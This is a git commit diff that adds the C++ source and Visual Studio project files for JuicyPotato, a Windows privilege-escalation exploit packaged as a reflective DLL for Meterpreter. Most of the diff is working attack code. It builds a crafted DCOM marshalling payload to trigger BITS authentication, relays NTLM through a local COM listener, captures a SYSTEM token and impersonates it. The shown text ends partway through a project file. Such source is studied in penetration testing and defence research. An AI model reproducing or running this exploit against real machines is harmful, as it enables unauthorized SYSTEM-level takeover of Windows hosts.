chore: add juicy potato reflective DLL source code

GSoC/Meterpreter_Web_Console
phra 2019-01-10 17:19:33 +01:00
parent d686303cff
commit f3c40b615e
No known key found for this signature in database
GPG Key ID: 91FF93D1B85D76B5
16 changed files with 1402 additions and 0 deletions

View File

@ -0,0 +1,5 @@
.vs
.DS_Store
Debug/
Release/
ipch/

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.26403.7
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "JuicyPotato", "JuicyPotato\JuicyPotato.vcxproj", "{4164003E-BA47-4A95-8586-D5AAC399C050}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.ActiveCfg = Release|x64
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.Build.0 = Release|x64
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.ActiveCfg = Release|x64
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.Build.0 = Release|x64
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.ActiveCfg = Release|x64
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.Build.0 = Release|x64
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.ActiveCfg = Release|Win32
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {3B4F867D-2997-4A0F-A8AD-9D4729DA3439}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,41 @@
#pragma once
#include <mutex>
#include <queue>
#include "stdafx.h"
typedef std::mutex Mutex;
template<typename ITEM> class BlockingQueue{
public:
void push(const ITEM& value) { // push
std::lock_guard<Mutex> lock(mutex);
queue.push(std::move(value));
condition.notify_one();
}
bool try_pop(ITEM& value) { // non-blocking pop
std::lock_guard<Mutex> lock(mutex);
if (queue.empty()) return false;
value = std::move(queue.front());
queue.pop();
return true;
}
ITEM wait_pop() { // blocking pop
std::unique_lock<Mutex> lock(mutex);
condition.wait(lock, [this] {return !queue.empty(); });
ITEM const value = std::move(queue.front());
queue.pop();
return value;
}
bool empty() const { // queue is empty?
std::lock_guard<Mutex> lock(mutex);
return queue.empty();
}
void clear() { // remove all items
ITEM item;
while (try_pop(item));
}
private:
Mutex mutex;
std::queue<ITEM> queue;
std::condition_variable condition;
};

View File

@ -0,0 +1,218 @@
#include "stdafx.h"
#include "IStorageTrigger.h"
#include <string>
#include <wchar.h>
extern PCSTR DEF_PORT;
extern char dcom_port[12];
extern char dcom_ip[17];
IStorageTrigger::IStorageTrigger(IStorage *istg) {
_stg = istg;
m_cRef = 1;
return;
}
HRESULT IStorageTrigger::DisconnectObject(DWORD dwReserved) {
return 0;
}
HRESULT IStorageTrigger::GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize) {
*pSize = 1024;
//printf("IStorageTrigger GetMarshalSizeMax\n");
return 0;
}
HRESULT IStorageTrigger::GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid) {
CLSIDFromString(OLESTR("{00000306-0000-0000-c000-000000000046}"), pCid);
//printf("IStorageTrigger GetUnmarshalClass\n");
return 0;
}
HRESULT IStorageTrigger::MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags) {
// Marshalling Port & Ip address of COM Server
short sec_len = 8;
int port_len = strlen(dcom_port);
char *ipaddr = dcom_ip;
unsigned short str_bindlen = ((strlen(ipaddr) + port_len + 2) * 2) + 6;
unsigned short total_length = (str_bindlen + sec_len) / 2;
unsigned char sec_offset = str_bindlen / 2;
port_len = port_len * 2;
byte data_0[] = {
0x4d,0x45,0x4f,0x57,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0xcc,0x96,0xec,0x06,0x4a,0xd8,0x03,0x07,0xac,0x31,0xce,0x9c,0x02,0x9d,0x53,0x00,0x9f,0x93,0x2c,0x04,
0xcd,0x54,0xd4,0xef,0x4b,0xbd,0x1c,0x3b,0xae,0x97,0x21,0x45
};
byte *dataip;
int len = strlen(ipaddr) * 2;
dataip = (byte *)malloc(len);
for (int i = 0; i < len; i++)
{
if (i % 2)
dataip[i] = *ipaddr++;
else
dataip[i] = 0;
}
byte data_4[] = { 0x00,0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0xff,
0xff, 0x00, 0x00, 0x00, 0x00
};
byte data_1[4];
data_1[0] = total_length;
data_1[1] = 0;
data_1[2] = sec_offset;
data_1[3] = 0;
byte *data_3;
data_3 = (byte *)malloc((port_len));
byte *strport = (byte *)&dcom_port[0];
for (int i = 0; i < (port_len); i++)
{
if (i % 2)
data_3[i] = *strport++;
else
data_3[i] = 0;
}
int size = sizeof(data_0) + sizeof(data_1) + len + 2 + 1 + port_len + sizeof(data_4);
byte * marshalbuf = (byte *)malloc(size);
int r = 0;
memcpy(&marshalbuf[r], data_0, sizeof(data_0));
r = sizeof(data_0);
memcpy(&marshalbuf[r], data_1, sizeof(data_1));
r = r + sizeof(data_1);
byte tmp1[] = { 0x07 };
memcpy(&marshalbuf[r], tmp1, 1);
r = r + 1;
memcpy(&marshalbuf[r], dataip, len);
r = r + len;
byte tmp[] = { 0x00,0x5b };
memcpy(&marshalbuf[r], tmp, 2);
r = r + 2;
memcpy(&marshalbuf[r], data_3, port_len);
r = r + (port_len);
memcpy(&marshalbuf[r], data_4, sizeof(data_4));
ULONG written = 0;
pStm->Write(&marshalbuf[0], size, &written);
free(marshalbuf);
free(dataip);
free(data_3);
return 0;
}
HRESULT IStorageTrigger::ReleaseMarshalData(IStream *pStm) {
return 0;
}
HRESULT IStorageTrigger::UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv) {
*ppv = 0;
return 0;
}
HRESULT IStorageTrigger::Commit(DWORD grfCommitFlags) {
_stg->Commit(grfCommitFlags);
return 0;
}
HRESULT IStorageTrigger::CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest) {
_stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest);
return 0;
}
HRESULT IStorageTrigger::CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg) {
_stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg);
return 0;
}
HRESULT IStorageTrigger::CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm) {
_stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm);
return 0;
}
HRESULT IStorageTrigger::DestroyElement(const OLECHAR *pwcsName) {
_stg->DestroyElement(pwcsName);
return 0;
}
HRESULT IStorageTrigger::EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum) {
_stg->EnumElements(reserved1, reserved2, reserved3, ppenum);
return 0;
}
HRESULT IStorageTrigger::MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags) {
_stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags);
return 0;
}
HRESULT IStorageTrigger::OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg) {
_stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg);
return 0;
}
HRESULT IStorageTrigger::OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm) {
_stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm);
return 0;
}
HRESULT IStorageTrigger::RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName) {
return 0;
}
HRESULT IStorageTrigger::Revert() {
return 0;
}
HRESULT IStorageTrigger::SetClass(const IID &clsid) {
return 0;
}
HRESULT IStorageTrigger::SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime) {
return 0;
}
HRESULT IStorageTrigger::SetStateBits(DWORD grfStateBits, DWORD grfMask) {
return 0;
}
HRESULT IStorageTrigger::Stat(STATSTG *pstatstg, DWORD grfStatFlag) {
_stg->Stat(pstatstg, grfStatFlag);
//Allocate from heap because apparently this will get freed in OLE32
const wchar_t c_s[] = L"hello.stg";
wchar_t *s = (wchar_t*)CoTaskMemAlloc(sizeof(c_s));
wcscpy(s, c_s);
pstatstg[0].pwcsName = s;
return 0;
}
///////////////////////IUknown Interface
HRESULT IStorageTrigger::QueryInterface(const IID &riid, void **ppvObj) {
// Always set out parameter to NULL, validating it first.
if (!ppvObj) {
//printf("QueryInterface INVALID\n");
return E_INVALIDARG;
}
if (riid == IID_IUnknown)
{
*ppvObj = static_cast<IStorageTrigger *>(this);
//reinterpret_cast<IUnknown*>(*ppvObj)->AddRef();
}
else if (riid == IID_IStorage)
{
*ppvObj = static_cast<IStorageTrigger *>(this);
}
else if (riid == IID_IMarshal)
{
*ppvObj = static_cast<IStorageTrigger *>(this);
}
else
{
*ppvObj = NULL;
//printf("QueryInterface NOINT\n");
return E_NOINTERFACE;
}
// Increment the reference count and return the pointer.
return S_OK;
}
ULONG IStorageTrigger::AddRef() {
m_cRef++;
return m_cRef;
}
ULONG IStorageTrigger::Release() {
// Decrement the object's internal counter.
ULONG ulRefCount = m_cRef--;
return ulRefCount;
}

View File

@ -0,0 +1,35 @@
#pragma once
#include "Objidl.h"
class IStorageTrigger : public IMarshal, public IStorage {
private:
IStorage *_stg;
int m_cRef;
public:
IStorageTrigger(IStorage *stg);
HRESULT STDMETHODCALLTYPE DisconnectObject(DWORD dwReserved);
HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize);
HRESULT STDMETHODCALLTYPE GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid);
HRESULT STDMETHODCALLTYPE MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags);
HRESULT STDMETHODCALLTYPE ReleaseMarshalData(IStream *pStm);
HRESULT STDMETHODCALLTYPE UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv);
HRESULT STDMETHODCALLTYPE Commit(DWORD grfCommitFlags);
HRESULT STDMETHODCALLTYPE CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest);
HRESULT STDMETHODCALLTYPE CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg);
HRESULT STDMETHODCALLTYPE CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm);
HRESULT STDMETHODCALLTYPE DestroyElement(const OLECHAR *pwcsName);
HRESULT STDMETHODCALLTYPE EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum);
HRESULT STDMETHODCALLTYPE MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags);
HRESULT STDMETHODCALLTYPE OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg);
HRESULT STDMETHODCALLTYPE OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm);
HRESULT STDMETHODCALLTYPE RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName);
HRESULT STDMETHODCALLTYPE Revert();
HRESULT STDMETHODCALLTYPE SetClass(const IID &clsid);
HRESULT STDMETHODCALLTYPE SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime);
HRESULT STDMETHODCALLTYPE SetStateBits(DWORD grfStateBits, DWORD grfMask);
HRESULT STDMETHODCALLTYPE Stat(STATSTG *pstatstg, DWORD grfStatFlag);
HRESULT STDMETHODCALLTYPE QueryInterface(const IID &riid, void **ppvObject);
ULONG STDMETHODCALLTYPE AddRef();
ULONG STDMETHODCALLTYPE Release();
};

View File

@ -0,0 +1,601 @@
#include "stdafx.h"
#include "MSFRottenPotato.h"
#include "IStorageTrigger.h"
#include <iostream>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#include <stdio.h>
#include <UserEnv.h>
#include <assert.h>
#include <tchar.h>
#include <windows.h>
#include <aclapi.h>
#include <accctrl.h>
#include <stdio.h>
#include <assert.h>
#include <tchar.h>
#include <WinSafer.h>
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#pragma comment(lib, "userenv.lib")
wchar_t *olestr;
wchar_t *g_port;
wchar_t *rpcserver;
wchar_t *rpcport;
char dcom_port[12];
char dcom_ip[17];
static const char VERSION[] = "0.1";
BOOL TEST_mode = FALSE;
HANDLE elevated_token, duped_token;
int PotatoAPI::newConnection;
wchar_t *processtype = NULL;
wchar_t *processargs = NULL;
wchar_t *processname = NULL;
int IsTokenSystem(HANDLE tok)
{
DWORD Size, UserSize, DomainSize;
SID *sid;
SID_NAME_USE SidType;
TCHAR UserName[64], DomainName[64];
TOKEN_USER *User;
Size = 0;
GetTokenInformation(tok, TokenUser, NULL, 0, &Size);
if (!Size)
return FALSE;
User = (TOKEN_USER *)malloc(Size);
assert(User);
GetTokenInformation(tok, TokenUser, User, Size, &Size);
assert(Size);
Size = GetLengthSid(User->User.Sid);
assert(Size);
sid = (SID *)malloc(Size);
assert(sid);
CopySid(Size, sid, User->User.Sid);
UserSize = (sizeof UserName / sizeof *UserName) - 1;
DomainSize = (sizeof DomainName / sizeof *DomainName) - 1;
LookupAccountSid(NULL, sid, UserName, &UserSize, DomainName, &DomainSize, &SidType);
free(sid);
printf("%S;%S\\%S\n", olestr, DomainName, UserName);
if (!_wcsicmp(UserName, L"SYSTEM"))
return 1;
return 0;
}
void usage()
{
printf("JuicyPotato v%s \n\n", VERSION);
printf("Mandatory args: \n"
"-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both\n"
"-p <program>: program to launch\n"
"-l <port>: COM server listen port\n"
);
printf("\n\n");
printf("Optional args: \n"
"-m <ip>: COM server listen address (default 127.0.0.1)\n"
"-a <argument>: command line argument to pass to program (default NULL)\n"
"-k <ip>: RPC server ip address (default 127.0.0.1)\n"
"-n <port>: RPC server listen port (default 135)\n"
"-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})\n"
"-z only test CLSID and print token's user\n"
);
}
PotatoAPI::PotatoAPI() {
comSendQ = new BlockingQueue<char*>();
rpcSendQ = new BlockingQueue<char*>();
newConnection = 0;
negotiator = new LocalNegotiator();
return;
}
DWORD PotatoAPI::startRPCConnectionThread() {
DWORD ThreadID;
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartRPCConnection, (void*)this, 0, &ThreadID);
return ThreadID;
}
DWORD PotatoAPI::startCOMListenerThread() {
DWORD ThreadID;
HANDLE t = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartCOMListener, (void*)this, 0, &ThreadID);
return ThreadID;
}
DWORD WINAPI PotatoAPI::staticStartRPCConnection(void* Param) {
PotatoAPI* This = (PotatoAPI*)Param;
return This->startRPCConnection();
}
DWORD WINAPI PotatoAPI::staticStartCOMListener(void* Param) {
PotatoAPI* This = (PotatoAPI*)Param;
return This->startCOMListener();
}
int PotatoAPI::findNTLMBytes(char *bytes, int len) {
//Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header.
//The NTLM bytes (for our purposes) are always at the end of the packet, so when we find the header,
//we can just return the index
char pattern[7] = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 };
int pIdx = 0;
int i;
for (i = 0; i < len; i++) {
if (bytes[i] == pattern[pIdx]) {
pIdx = pIdx + 1;
if (pIdx == 7) return (i - 6);
}
else {
pIdx = 0;
}
}
return -1;
}
int PotatoAPI::processNtlmBytes(char *bytes, int len) {
int ntlmLoc = findNTLMBytes(bytes, len);
if (ntlmLoc == -1) return -1;
int messageType = bytes[ntlmLoc + 8];
switch (messageType) {
case 1:
//NTLM type 1 message
negotiator->handleType1(bytes + ntlmLoc, len - ntlmLoc);
break;
case 2:
//NTLM type 2 message
negotiator->handleType2(bytes + ntlmLoc, len - ntlmLoc);
break;
case 3:
//NTLM type 3 message
negotiator->handleType3(bytes + ntlmLoc, len - ntlmLoc);
break;
default:
printf("Error - Unknown NTLM message type...");
return -1;
break;
}
return 0;
}
int checkForNewConnection(SOCKET* ListenSocket, SOCKET* ClientSocket) {
fd_set readSet;
FD_ZERO(&readSet);
FD_SET(*ListenSocket, &readSet);
timeval timeout;
timeout.tv_sec = 1; // Zero timeout (poll)
timeout.tv_usec = 0;
if (select(*ListenSocket, &readSet, NULL, NULL, &timeout) == 1) {
*ClientSocket = accept(*ListenSocket, NULL, NULL);
return 1;
}
return 0;
}
int PotatoAPI::triggerDCOM(void)
{
CoInitialize(nullptr);
//Create IStorage object
IStorage *stg = NULL;
ILockBytes *lb = NULL;
HRESULT res;
res = CreateILockBytesOnHGlobal(NULL, true, &lb);
res = StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);
//Initialze IStorageTrigger object
IStorageTrigger* t = new IStorageTrigger(stg);
CLSID clsid;
CLSIDFromString(olestr, &clsid);
CLSID tmp;
//IUnknown IID
CLSIDFromString(OLESTR("{00000000-0000-0000-C000-000000000046}"), &tmp);
MULTI_QI qis[1];
qis[0].pIID = &tmp;
qis[0].pItf = NULL;
qis[0].hr = 0;
//Call CoGetInstanceFromIStorage
HRESULT status = CoGetInstanceFromIStorage(NULL, &clsid, NULL, CLSCTX_LOCAL_SERVER, t, 1, qis);
fflush(stdout);
return 0;
}
int PotatoAPI::startRPCConnection(void) {
const int DEFAULT_BUFLEN = 4096;
fflush(stdout);
WSADATA wsaData;
struct addrinfo *result = NULL,
*ptr = NULL,
hints;
char *sendbuf;
char recvbuf[DEFAULT_BUFLEN];
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 1;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
char myhost[24];
char myport[12];
if (rpcserver != NULL) {
memset(myhost, 0, 24);
wcstombs(myhost, rpcserver, 24);
}
else {
strcpy(myhost, "127.0.0.1");
}
if (rpcport != NULL) {
memset(myport, 0, 12);
wcstombs(myport, rpcport, 12);
}
else {
strcpy(myport, "135");
}
iResult = getaddrinfo(myhost, myport, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 1;
}
// Attempt to connect to an address
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 1;
}
// Connect to server
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
if (ConnectSocket == INVALID_SOCKET) {
printf("Unable to connect to server!\n");
WSACleanup();
return 1;
}
// Send/Receive until the peer closes the connection
fflush(stdout);
do {
//Monitor our sendQ until we have some data to send
int *len = (int*)rpcSendQ->wait_pop();
fflush(stdout);
sendbuf = rpcSendQ->wait_pop();
//Check if we should be opening a new socket before we send the data
if (newConnection == 1) {
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
int y = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
newConnection = 0;
}
iResult = send(ConnectSocket, sendbuf, *len, 0);
if (iResult == SOCKET_ERROR) {
printf("RPC -> send failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);
if (iResult > 0) {
comSendQ->push((char*)&iResult);
comSendQ->push(recvbuf);
}
else if (iResult == 0) {
printf("RPC-> Connection closed\n");
}
else {
printf("RPC -> recv failed with error: %d\n", WSAGetLastError());
return 0;
}
} while (iResult > 0);
//printf("last iResult:%d\n", iResult);
fflush(stdout);
// cleanup
iResult = shutdown(ConnectSocket, SD_SEND);
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
int PotatoAPI::startCOMListener(void) {
const int DEFAULT_BUFLEN = 4096;
WSADATA wsaData;
int iResult;
struct addrinfo *result = NULL;
struct addrinfo hints;
int iSendResult;
char *sendbuf;
char recvbuf[DEFAULT_BUFLEN];
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 1;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags = AI_PASSIVE;
memset(dcom_port, 0, 12);
wcstombs(dcom_port, g_port, 12);
// printf("[+] Listening on port:%s\n", dcom_port);
// Resolve the server address and port
iResult = getaddrinfo(NULL, dcom_port, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 1;
}
// Create a SOCKET for connecting to server
ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
int optval = 1;
setsockopt(ListenSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval));
if (ListenSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
freeaddrinfo(result);
WSACleanup();
return 1;
}
// Setup the TCP listening socket
iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
//printf("startCOMListener bindresult%d\n", iResult);
if (iResult == SOCKET_ERROR) {
printf("bind failed with error: %d\n", WSAGetLastError());
freeaddrinfo(result);
closesocket(ListenSocket);
WSACleanup();
return 1;
}
freeaddrinfo(result);
iResult = listen(ListenSocket, SOMAXCONN);
if (iResult == SOCKET_ERROR) {
printf("listen failed with error: %d\n", WSAGetLastError());
closesocket(ListenSocket);
WSACleanup();
return 1;
}
//---- non block socket server
timeval timeout = { 1, 0 };
fd_set fds;
FD_ZERO(&fds);
FD_SET(ListenSocket, &fds);
select(ListenSocket + 1, &fds, NULL, NULL, &timeout);
if (FD_ISSET(ListenSocket, &fds))
{
ClientSocket = accept(ListenSocket, NULL, NULL);
if (ClientSocket == INVALID_SOCKET) {
printf("accept failed with error: %d\n", WSAGetLastError());
closesocket(ListenSocket);
WSACleanup();
return 1;
}
}
int ntlmLoc;
do {
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
if (iResult > 0) {
if (!TEST_mode)
printf(".", iResult);
//check to see if the received packet has NTLM auth information
processNtlmBytes(recvbuf, iResult);
//Send all incoming packets to the WinRPC sockets "send queue" and wait for the WinRPC socket to put a packet into our "send queue"
//put packet in winrpc_sendq
rpcSendQ->push((char*)&iResult);
rpcSendQ->push(recvbuf);
//block and wait for a new item in our sendq
int* len = (int*)comSendQ->wait_pop();
sendbuf = comSendQ->wait_pop();
//Check to see if this is a packet containing NTLM authentication information before sending
processNtlmBytes(sendbuf, *len);
//send the new packet sendbuf
iSendResult = send(ClientSocket, sendbuf, *len, 0);
if (iSendResult == SOCKET_ERROR) {
printf("COM -> send failed with error: %d\n", WSAGetLastError());
exit(-11);
}
//Sometimes Windows likes to open a new connection instead of using the current one
//Allow for this by waiting for 1s and replacing the ClientSocket if a new connection is incoming
newConnection = checkForNewConnection(&ListenSocket, &ClientSocket);
}
else if (iResult == 0) {
//connection closing...
shutdown(ClientSocket, SD_SEND);
WSACleanup();
exit(-1);
}
else {
if (!TEST_mode)
printf("COM -> recv failed with error: %d\n", WSAGetLastError());
shutdown(ClientSocket, SD_SEND);
WSACleanup();
exit(-1);
}
} while (iResult > 0);
// shutdown the connection since we're done
iResult = shutdown(ClientSocket, SD_SEND);
// printf("startCOMListener iResult ComLisetner:%d\n", iResult);
if (iResult == SOCKET_ERROR) {
printf("shutdown failed with error: %d\n", WSAGetLastError());
closesocket(ClientSocket);
WSACleanup();
exit(-1);
}
// cleanup
closesocket(ClientSocket);
WSACleanup();
return 0;
}
BOOL EnablePriv(HANDLE hToken, LPCTSTR priv)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(NULL, priv, &luid))
{
printf("Priv Lookup FALSE\n");
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("Priv Adjust FALSE\n");
return FALSE;
}
return TRUE;
}
__declspec(dllexport) int Juicy(wchar_t *clsid, BOOL brute)
{
PotatoAPI* test = new PotatoAPI();
test->startCOMListenerThread();
if (clsid != NULL)
olestr = clsid;
if (!TEST_mode)
printf("Testing %S %S\n", olestr, g_port);
test->startRPCConnectionThread();
test->triggerDCOM();
BOOL result = false;
int ret = 0;
while (true) {
if (test->negotiator->authResult != -1)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
SECURITY_DESCRIPTOR sdSecurityDescriptor;
if (!TEST_mode)
printf("\n[+] authresult %d\n", test->negotiator->authResult);
fflush(stdout);
// Get a token for this process.
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ALL_ACCESS, &hToken))return 0;
//enable privileges
EnablePriv(hToken, SE_IMPERSONATE_NAME);
EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME);
PTOKEN_TYPE ptg;
DWORD dwl = 0;
HANDLE hProcessToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS,
&hProcessToken);
QuerySecurityContextToken(test->negotiator->phContext, &elevated_token);
IsTokenSystem(elevated_token);
if (TEST_mode)
return 1;
result = ImpersonateSecurityContext(test->negotiator->phContext);
if (!result) {
printf("BOOM!!");
break;
} else {
printf("Waiting for auth...");
Sleep(500);
fflush(stdout);
}
}//end auth
}
return result;
}
__declspec(dllexport) void EntryPoint(void)
{
Juicy(NULL, FALSE);
}

View File

@ -0,0 +1,197 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{4164003E-BA47-4A95-8586-D5AAC399C050}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>JuicyPotato</RootNamespace>
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
<ProjectName>JuicyPotato</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v140</PlatformToolset>
